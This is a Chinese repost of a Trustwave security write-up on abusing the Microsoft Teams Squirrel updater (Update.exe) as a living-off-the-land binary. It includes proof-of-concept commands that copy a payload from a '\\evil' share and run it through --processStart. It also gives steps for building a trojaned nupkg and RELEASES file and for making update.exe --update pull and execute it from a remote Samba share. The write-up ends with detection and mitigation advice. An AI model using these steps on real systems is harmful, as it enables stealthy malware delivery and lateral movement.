前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >使用Microsoft Teams Updater执行代码

使用Microsoft Teams Updater执行代码

作者头像
洛米唯熊
发布于 2020-08-10 02:11:00
发布于 2020-08-10 02:11:00
1.3K00
代码可运行
举报
文章被收录于专栏:洛米唯熊洛米唯熊
运行总次数:0
代码可运行

0x00简介:

红队成员喜欢通过“合法”渠道寻找新的代码执行方法.这次,Microsoft Team 也是利用的目标.Team是一个有趣的利用点,因为它使用了称为Electron的现代技术.Electron基本上是嵌入在可执行文件中的nodejs.让我们使用Microsoft Teams附带的Update.exe深入了解应用程序白名单绕过.

0x01分析:

首先,将Teams.exe安装在以下位置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
“%userprofile%\ AppData \ Local \ Microsoft \ Teams \”

这很奇怪.关于为什么这是一个坏主意还有很长的篇幅:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https : //www.masterpackager.com/blog/how-microsoft-teams-installer-should-have-looked-like-from-the-beginning

从红队的角度来看,好消息是,作为用户,我们可以完全访问整个文件夹的内容.典型的Teams安装应包含以下文件:

Update.exe实际上是Squirrel Updater,它是开源的。

让我们专注于应用程序的主要部分:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https : //github.com/Squirrel/Squirrel.Windows/blob/develop/src/Update/Program.cs

主要方法是调用以下方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
int executeCommandLine(string [] args)

此方法解析命令行参数.可接受的参数在switch case语句中列出,如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
switch (opt.updateAction) {
    case UpdateAction.Install:
    case UpdateAction.Uninstall:
    case UpdateAction.Download:
    case UpdateAction.Update:
    case UpdateAction.CheckForUpdate:
    case UpdateAction.UpdateSelf:
    case UpdateAction.Shortcut:
    case UpdateAction.Deshortcut:
    case UpdateAction.ProcessStart:
    case UpdateAction.Releasify:
}

马上,ProcessStart看起来很有趣.如果代码达到这种情况,则执行以下代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ProcessStart(opt.processStart,opt.processStartArgs,opt.shouldWait);

使用以下开关–processStart和--process-start-args将这两个参数传递给Update.exe .您可以看到是否列出了Squirrel用法,令人惊讶的是,帮助菜单没有列出这些奇妙的参数,通常这是我们进入某个领域的好兆头.

ProcessStart方法正在执行多项检查,我仅介绍相关检查.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
var releases = ReleaseEntry.ParseReleaseFile(
File.ReadAllText(Utility.LocalReleaseFileForAppDir(appDir), Encoding.UTF8));
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var latestAppDir = releases
var targetExe = new FileInfo(Path.Combine(latestAppDir, exeName.Replace("%20", " ")));
// Check for path canonicalization attacks
if (!targetExe.FullName.StartsWith(latestAppDir, StringComparison.Ordinal)) {
    throw new ArgumentException();
}

appDir变量包含Update.exe的路径.在这种情况下,releases变量将解析为最新的构建文件夹位置,即“当前”.如源代码中所述,if语句正在检查路径规范化攻击.这意味着–processStart的设置为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.. \ .. \ .. \ .. \ .. \\ windows \ system32 \ cmd.exe

将导致以下输出:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
targetExe.FullName will equal to C:\windows\system32\
And latestAppDir will equal to C:\Users\*\AppData\Microsoft\Teams\current\

不幸的是,这将杀死我们的任意文件执行路径.但是,由于Microsoft的决定,没有将Teams安装到典型的“ Program Files”文件夹中,因为当前用户可以完全写入AppData.

为了能够执行任意文件,我们只需要将其复制到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
C:\Users\*\AppData\Microsoft\Teams\current\

文件夹中即可.

然后,代码最终将达到致命点,如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Process.Start(new ProcessStartInfo(targetExe.FullName, arguments ?? "")
{ WorkingDirectory = Path.GetDirectoryName(targetExe.FullName) });

此时,您通过Microsoft Signed二进制文件执行了二进制文件.

0x02:简单的概念证明:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Copy \\evil\payload.exe C:\users\*\AppData\Local\Microsoft\Teams\current\ && C:\users\*\AppData\Local\Microsoft\Teams\Update.exe –processStart payload.exe –process-start-args go.

总之,Squirrel适当地减轻了任意文件的执行.但是,Microsoft决定将Teams安装在用户可写的位置,以使攻击者无法通过进行的安全检查.

还记得开关的例子吗?

让我们看一下UpdateAction.Update.update操作支持–update参数,这是更新网站的URL.

Update方法正在执行以下操作:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var updateInfo = await mgr.CheckForUpdate(intention: UpdaterIntention.Update, ignoreDeltaUpdates: ignoreDeltaUpdates, progress: x => Console.WriteLine(x / 3));
await mgr.DownloadReleases(updateInfo.ReleasesToApply, x => Console.WriteLine(33 + x / 3));
await mgr.ApplyReleases(updateInfo, x => Console.WriteLine(66 + x / 3));

更新检查是根据指定的URL获取RELEASES文件.RELEASES格式非常简单:SHA1软件包大小.预期的文件是nupkg.幸运的是,Teams非常友善地提供了一个Nupkg软件包的样本,作为Teams安装的一部分.

下载文件后,将启动Squirrel进程.通过解压缩Teams nupkg文件,显示Squirrel.exe的位置:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Teams-1.2.00.13765-full \ lib \ net45

将Squirrel.exe更改为您的有效负载,并确保将其重命名为Squirrel.exe.压缩整个文件夹,并使用适当的哈希值和大小更新RELEASES文件.

在这种情况下,RELEASES文件具有以下结构:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
53329bb727098e84ecf7d7f897de1bc501268cd1 Teams-1.2.00.13765-full.nupkg 1185211

为了能够执行程序包,在这种情况下,只需指向您的URL:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Update.exe –update https://www.xxx.com

Enjoy your shell.

0x03观察分析:

最初发现允许恶意行为者使用MS Teams Updater下载他们想要的任何二进制文件或有效负载.这种技术通常被称为“Living Off the Land ”,并且由于使用已知的通用软件下载恶意软件而特别危险.

先前为Teams提供的补丁是为了限制其通过URL更新的能力.而是,更新程序允许通过共享或本地文件夹进行本地连接以进行产品更新.

最初,当观察到这一发现时,发现它仍然可以用作横向移动的技术,但是,发现通过指向远程SMB共享可以轻松绕开添加的限制.

0x04合法事件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update

0x05当前补丁:

根据补丁程序,Microsoft Teams Updater将仅允许本地网络路径访问和更新,这意味着它将在更新程序URL,块和日志中检测字符串

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"http/s", ":", "/" 

和端口号下的活动

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
%localappdata%\Microsoft\Teams\SquirrelSetup.log

它允许以本地UNC格式进行共享访问:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
\\ server \

要利用此漏洞,攻击者需要:

在打开的共享文件夹中获取网络内部的文件.从该共享访问有效负载到受害机器.看起来情况很复杂,路途漫长,但我们可以使其成功.

0x06 Remote Samba:

为了减少攻击步骤,攻击者可以创建远程共享,而不是本地共享.这将允许他们下载远程有效负载并执行,而不是尝试通过中间步骤将有效负载获取到本地共享.

对Samba进行了一些研究,并配置了Samba服务器以进行远程公共访问.成功安装后,启动了命令执行,下载了远程有效负载,并直接从Microsoft Teams Updater“ Update.exe”执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Command: Update.exe --update=\\remoteserver\payloadFolder

0x07脆弱的端点:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
%localappdata%/Microsoft/Teams/update.exe

0x08进攻部分:

要利用此漏洞,必须首先制作支持更新程序框架的有效负载

一、创建有效负载

提取任何nupkg包,在我的示例中为Teams-1.3.00.27559-full.nupkg

转到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
%localappdata%/ Microsoft / Teams / packages

以选择Microsoft Teams预先构建的软件包

转到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Teams-1.3.00.27559-full \ lib \ net45

将您的shellcode拖放为"squirrel.exe",将完整文件夹压缩为"Teams-1.3.00.27559-full.nupkg"

使用以下命令计算元数据:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sha1sum Teams-1.3.00.27559-full.nupkg && wc -c <Teams-1.3.00.27559-full.nupkg

输出为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
fa8b87f0b995498a6e890c832dcaf968997608d4 Teams-1.3.00.27559-full.nupkg 4695

创建一个名为RELEASES的文件,并复制以上输出并保存.

其结果将是一个包含两个文件的主目录:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Teams-1.3.00.27559-full.nupkg and RELEASES.

将这两个文件上传到远程Samba服务器:

二、需求:

由于它是Samba服务器,因此需要首先从Windows“运行”对服务器进行身份验证.

三、重现步骤:

转到受害者系统上的目标应用程序文件夹

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
“%localappdata%/ Microsoft / Teams /

运行以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
update.exe --update = [Samba服务器包含上述2个文件],
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
例如update.exe --update = \\ remoteserver \ payloadFolder

几秒钟后(等待10-15秒),有效负载将被成功下载并由Microsoft Teams执行

受影响的参数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
update.exe --update = \\ remoteserver \ payloadFolder
update.exe --updateRollback = \\ remoteserver \ payloadFolder

POC验证视频

视频链接:https://player.vimeo.com/video/444679044?api=1&player_id=vimeo_id_0

0x09影响:

Microsoft Teams Update.exe二进制文件将充当LOLbin(删除Land二进制文件)

由于安装位于本地用户Appdata文件夹中,因此不需要特权访问.攻击者可以借此伪装流量(尤其是横向移动)

0x10Trustwave建议:

从威胁搜寻的角度

利用EDR解决方案,并查看“ update.exe”命令行中的可疑连接.寻找squirrel.exe可执行文件并调查文件的大小,您可以使用该文件来区分特洛伊木马和合法的squirrel.exe

如果您正在与Microsoft Teams“ update.exe”打交道,请验证大小和哈希值,寻找任何异常情况.研究传出的SMB连接,尤其是从Microsoft Teams更新程序update.exe中进行传出的SMB连接,或者在必要时完全在外围过滤SMB连接.

请求客户或IT寻求Microsoft Teams软件包放置的任何安全排除措施,并查看所应用的更改.

IT部门应将Microsoft Teams安装在“ Program Files”文件夹下,以使攻击者无法删除并执行远程有效负载.这可以通过组策略来执行.

禁用任何类型的更新机制,并设置仅由IT团队推送更新的策略

文章原文地址:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-08-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
利用 Microsoft Teams 维权并掩盖 Cobalt Strike 流量
在最近的一次操作中,我们获得了工作站的本地管理员权限,但是在该工作站上发现了 EDR 解决方案。
黑白天安全
2021/10/18
1.2K0
利用 Microsoft Teams 维权并掩盖 Cobalt Strike 流量
如何为Electron应用实现一个简易的更新功能
官方其实已经提供了几种很便捷的方案:https://www.electronjs.org/docs/tutorial/updates 但是不是需要github,就是需要搭建一个服务端,因为我们的场景很小,electron只是一个壳,所以更新的需求不强烈,只是一个以防万一的功能,所以我们想寻求一个简单的方式来处理。
BennuCTech
2022/11/11
1.4K0
红队横向 - 神奇小妙招
如果将恶意文件命名为 DumpStack.log,Defender 不会对其进行扫描。
Khan安全团队
2022/01/27
3260
Jira 任务同步到 Microsoft Teams
你需要将 Jira 上的任务定时同步到 Microsoft Teams 上,并提醒相关的负责人当前的任务。
Jimmy_is_jimmy
2022/03/10
1.1K0
Jira 任务同步到 Microsoft Teams
黑客潜入Microsoft Teams发送恶意软件
安全研究人员警告说,一些黑客悄悄潜入Microsoft Teams,并在聊天中传播恶意可执行文件。
FB客服
2022/02/25
7800
黑客潜入Microsoft Teams发送恶意软件
SAP B1 Web Client & MS Teams App集成连载二:安装Install/升级Upgrade/卸载Uninstall
1.获取应用包并将其解压缩/Get the app package and unzip it。 导航到 SAP Business One 产品包的以下文件夹:Packages.x64\MS Teams Integration\ Navigate to the following folder in the SAP Business One product package:Packages.x64\MS Teams Integration\ 找到应用包文件 SAPBusinessOne.zip 并将其解压缩。您可以找到 manifest.json 文件和其他两个图像文件,如下所示: Find the app package file SAPBusinessOne.zip and unzip it. You can find the manifest.json file and the other two image files as below: SAP BusinessOne:manifest.json、color.png、outline.png
SAP小讲堂
2024/09/19
1620
Microsoft Platform SDK Febrary 2003下载(更新VC6的SDK)
http://www.x86pro.com/article/sdk-update-for-vc6
全栈程序员站长
2022/08/22
7750
VB6 开发生成的exe文件无法访问局域网网络映射盘或共享目录中的文件或文件夹的解决办法
VB6 开发生成的exe文件无法访问局域网网络映射盘或共享目录中的文件或文件夹的解决办法 (网上几乎找不到解决这个问题的答案,特别是解决办法中的注意事项。折腾了好几天才解决) 一、问题症状 在Win10 或 Win11 64位 环境 使用VB6生成的exe访问,局域网网络映射盘或共享目录中的文件或文件夹,发现出现 文件名或文件与出错 或错误 : 76 path not found 中错误 :52 bad file name or number 或这样的错误提示: Run-time error '438': Object doesn't support this property or method 尝试了各种办法均没有解决 Set fso = CreateObject("Scripting.FileSystemObject") MsgBox fso.FolderExists(App.Path) 'true ' MsgBox Dir("\\192.168.0.8\ssy\Upd\Update.ini") '出错 52, bad file name or number 只要改名为Update.exe 系统就会自动加上一个安全图标,且执行这些操作就不行,不要使用Update.exe这个名称 MsgBox fso.FileExists("\\192.168.0.8\ssy\Upd\Update.ini") '可以执行,但返回false MsgBox "11" MsgBox fso.FolderExists("\\192.168.0.8\ssy\Upd\") '可以执行,但返回false ' 获取源文件夹和目标文件夹 Set SourceFolder = fso.GetFolder("\\192.168.0.8\ssy\Upd\") '出错 76 path not found 二、解决办法: 命令行输入 regedit 打开注册表管理器 (注意先备份) 找到 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 打开注册表:添加DWORD值 :EnableLinkedConnections,设置值为1 这样就可以了 (需要重启一下电脑) 注意事项:千万注意,生成的exe文件名不能为Update.exe ,系统会自动在这个exe执行文件的图标加上盾牌,然后这个执行文件 ,就无法访问局域网的共享目录文件了。这个问题让我折腾了三天才找到原因
VB6VB.NET爱好者
2025/01/08
1831
Chrome 80.X版本如何解密Cookies文件
最近遇到了一个头疼的问题,就是Chrome在2月份更新了版本 80.0.3987.122(正式版本) (64 位),以前写的抓取Cookies文件的脚本用不了,Chrome更新了加密算法,今天刚好解决了,分享出来大家一起交流学习下
HACK学习
2020/03/12
6K1
[Microsoft Teams]使用连接器接收Azure Devops的通知
连接器(connector)是Teams中频道的一个接受消息的功能,官方的解释如下:
dino.c
2020/03/24
1.8K0
[Microsoft Teams]使用连接器接收Azure Devops的通知
postman如何设置为中文菜单_poster session
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
全栈程序员站长
2022/11/11
1.6K0
postman如何设置为中文菜单_poster session
委内瑞拉军方遭受Machete组织攻击
Machete是一个由西班牙语组织开发的网络间谍工具集,自2010年以来一直处于活动之中。该组织持续为其恶意软件开发新功能。他们长期攻击的重点在拉丁美洲国家,多年来一直收集目标国家情报并改进他们的攻击策略。近期研究人员发现了一项持续的,针对性很强的攻击活动,其中大多数目标都是军事组织。
FB客服
2019/08/26
1.2K0
委内瑞拉军方遭受Machete组织攻击
Electron 吞噬资源,微软 Teams 为性能改用 WebView2
微软近期宣布,旗下 Teams 应用活跃用户已经达到惊人的 2.5 亿。这让 Teams 成了继 Word 和 Excel 之后,微软 Office 生产力套件中的又一位当红明星。然而,Teams 一直受到性能问题的困扰,用户们对此吐槽不断。
HelloGitHub
2021/11/12
3.7K0
Roslyn 如何基于 Microsoft.NET.Sdk 制作源代码包
本文告诉大家如何做源代码包,源代码包的意思是安装的包不是安装dll的方式,而是使用源代码的方式。也就是最后是编译包的源代码而不是添加dll,这个方式是解决想要把项目分小,功能分细,但是不希望项目有很多的 dll,因为如果项目有很多 dll 会让软件打开的时间比较长
林德熙
2018/09/19
8590
Roslyn 如何基于 Microsoft.NET.Sdk 制作源代码包
IMEWDBLD.exe ByPass360 下载文件
IMEWDBLD.exe是微软拼音的开放扩展字典模块,主要用来下载字典文件,在Windows中主要存在路径为:
黑白天安全
2021/07/16
8970
使用 .NET 和Teams Toolkit构建 AI 机器人、扩展Copilot for Microsoft 365以及更多
Teams Toolkit for Visual Studio 帮助 .NET 开发人员为 Microsoft Teams 构建、调试和发布应用程序。我们很高兴向大家宣布,Teams Toolkit for Visual Studio 2022 17.9 版本为 .NET 开发人员提供了许多令人兴奋的新功能,例如新的 AI Bot 模板、Teams Bot 测试工具、自适应卡预览器以及更多改进、错误修复以改善您的开发体验。
郑子铭
2024/04/03
2080
使用 .NET 和Teams Toolkit构建 AI 机器人、扩展Copilot for Microsoft 365以及更多
Microsoft Visual Studio无法启动调试。 未能处理配置文件【问题解决】
在方案1无法解决的情况下,可以尝试以下步骤来清理 Visual Studio 的缓存和重置用户数据:
海盗船长
2024/09/24
4261
Microsoft Office 远程代码执行
昨天大哥扔了个MS office 0day(CVE-2022-30190)的截图到群里,晚上就复现了一下 ,随即有了下文 。
Gamma实验室
2022/08/30
6720
Microsoft Office 远程代码执行
Windows上传并执行恶意代码的N种姿势
简介 在各种钓鱼、挖矿、勒索、组建僵尸网络、基础渗透、后渗透过程当中,攻击者都会通过一些方法去下载执行恶意代码并执行完成攻击操作,比如前段时间通过Office DDE执行powershell的,利用宏执行VBS的,绕过权限限制完成危险命令执行的等等,都需要用到文件下载/上传姿势,一般说按照途径可以分为: 通过HTTP、FTP URL进行传输类 通过UNC进行传输类 通过磁盘写入类 而payload执行则具体可以分为有文件类和无文件类,具体分的话就是内存执行、本地缓存、磁盘文件 通过HTTP下载
风流
2018/06/01
5.4K0
神兵利器 - FakeLogonScreen
FakeLogonScreen 是一个伪造 Windows 登录屏幕以获取用户密码的实用程序。输入的密码将根据 Active Directory 或本地计算机进行验证,以确保其正确,然后显示到控制台或保存到磁盘。
Khan安全团队
2022/04/02
3690
神兵利器 - FakeLogonScreen
推荐阅读
相关推荐
利用 Microsoft Teams 维权并掩盖 Cobalt Strike 流量
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档